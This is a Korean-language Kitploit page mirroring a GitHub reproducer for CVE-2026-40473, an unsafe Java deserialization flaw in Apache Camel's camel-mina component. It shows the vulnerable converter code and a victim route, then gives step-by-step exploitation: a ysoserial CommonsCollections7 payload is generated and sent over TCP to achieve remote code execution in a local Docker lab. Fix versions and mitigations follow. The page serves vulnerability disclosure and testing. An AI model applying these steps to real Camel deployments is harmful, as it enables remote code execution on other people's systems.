Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40473 — Reproducer for CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsafe deserialization (RCE over TCP/UDP) | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-40473
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Reproducer for CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsafe deserialization (RCE over TCP/UDP)

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

camel-mina MinaConverter.toObjectInput 안전하지 않은 역직렬화 재현기 (CVE-2026-40473)

이 프로젝트는 Apache Camel의 camel-mina 구성 요소에서 CVE-2026-40473으로 추적되는 Java 역직렬화 취약점을 시연합니다. MinaConverter.toObjectInput(IoBuffer) 유형 변환기는 수신된 바이트를 ObjectInputFilter 없이 원시 ObjectInputStream으로 래핑하므로, TCP/UDP 본문을 ObjectInput으로 변환하고 readObject()를 호출하는 경로는 공격자가 조작된 직렬화 객체를 MINA 포트로 전송하여 원격 코드 실행을 유도할 수 있습니다.

Advisory: https://camel.apache.org/security/CVE-2026-40473.html

취약점 요약

속성값
구성 요소camel-mina
영향받는 클래스org.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: 신뢰할 수 없는 데이터의 역직렬화
영향TCP/UDP를 통한 원격 코드 실행 (RCE)
영향받는 버전3.0.0부터 4.14.6 이전, 4.15.0부터 4.18.2 이전, 4.19.0부터 4.20.0 이전
수정된 버전4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
보고자Venkatraman Kumar (Securin)

기술 세부 사항

IoBuffer → ObjectInput 유형 변환기는 버퍼를 원시 ObjectInputStream으로 래핑합니다:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - 영향을 받는 버전
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // ObjectInputFilter 없음
}

camel-mina TCP/UDP 소비자가 원시 바이트를 전달하고 (예: allowDefaultCodec=false 사용) 경로가 ObjectInput을 요청하면 (getBody(ObjectInput.class), @Body ObjectInput 또는 convertBodyTo(ObjectInput.class)), 이 변환기가 실행됩니다. 반환된 스트림에서 readObject()를 호출하면 공격자가 제공한 바이트에 있는 모든 가젯 체인이 실행됩니다.

피해 경로

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // 역직렬화 싱크
        exchange.getMessage().setBody("deserialized: " + obj);
    });

전제 조건

  • Java 17+ 및 Maven 3.8+ (jar 빌드용)
  • Docker (재현기 실행)
  • ysoserial (페이로드 생성용)

재현 단계

1단계: jar 빌드 및 컨테이너 시작

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

2단계: 악성 페이로드 생성

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# JDK 21에서는 CommonsCollections 가젯을 생성하기 위해 --add-opens 추가:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

3단계: MINA 포트로 TCP를 통해 전송 (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# 번들된 헬퍼가 mina:5555에 원시 TCP 소켓을 열고 바이트를 씁니다. 피해 경로가 이를 ObjectInput으로 변환하고 readObject()를 호출합니다.
# -> ">>> RCE 증명 — /tmp/pwned 존재: true"

(이 PoC에서 MINA 포트 5555는 컨테이너 내부에 있습니다; /exploit/inject 헬퍼가 내부에서 원시 TCP 전송을 수행합니다. 호스트에서 nc와 같은 원시 클라이언트로 전송하려면 포트 5555를 노출하십시오.)

4단계: 확인

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

정리

root@kitploit:~
docker compose down

공격 벡터

본문을 ObjectInput으로 변환하는 경로를 가진 모든 camel-mina TCP 또는 UDP 소비자는 (직접, @Body ObjectInput을 통해, 또는 convertBodyTo(ObjectInput.class)를 통해) MINA 포트에 접근할 수 있는 누구에게나 악용될 수 있습니다.

악용 조건

  1. 수신된 바이트의 ObjectInput 변환을 요청하는 camel-mina TCP/UDP 소비자.
  2. 클래스패스에 있는 가젯 라이브러리 (예: commons-collections:3.2.1).

권장 수정 사항

4.14.6 / 4.18.2 / 4.20.0으로 업그레이드하십시오. 수정 사항은 변환기에 ObjectInputFilter / 클래스 허용 목록을 적용합니다 (camel-netty, camel-jms 및 camel-infinispan에 적용된 강화와 일치).

완화 조치

업그레이드할 때까지:

  1. 신뢰할 수 없는 MINA 본문을 ObjectInput으로 변환하지 마십시오 / 역직렬화하지 마십시오.
  2. 가젯 라이브러리를 제거하십시오 (commons-collections 3.x 업그레이드/제거).
  3. MINA 포트에 대한 네트워크 액세스를 신뢰할 수 있는 피어로 제한하십시오.

파일

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # 피해: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: 직렬화된 바이트를 TCP를 통해 mina:5555로 전송
    └── resources/
        └── application.properties

면책 조항

이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드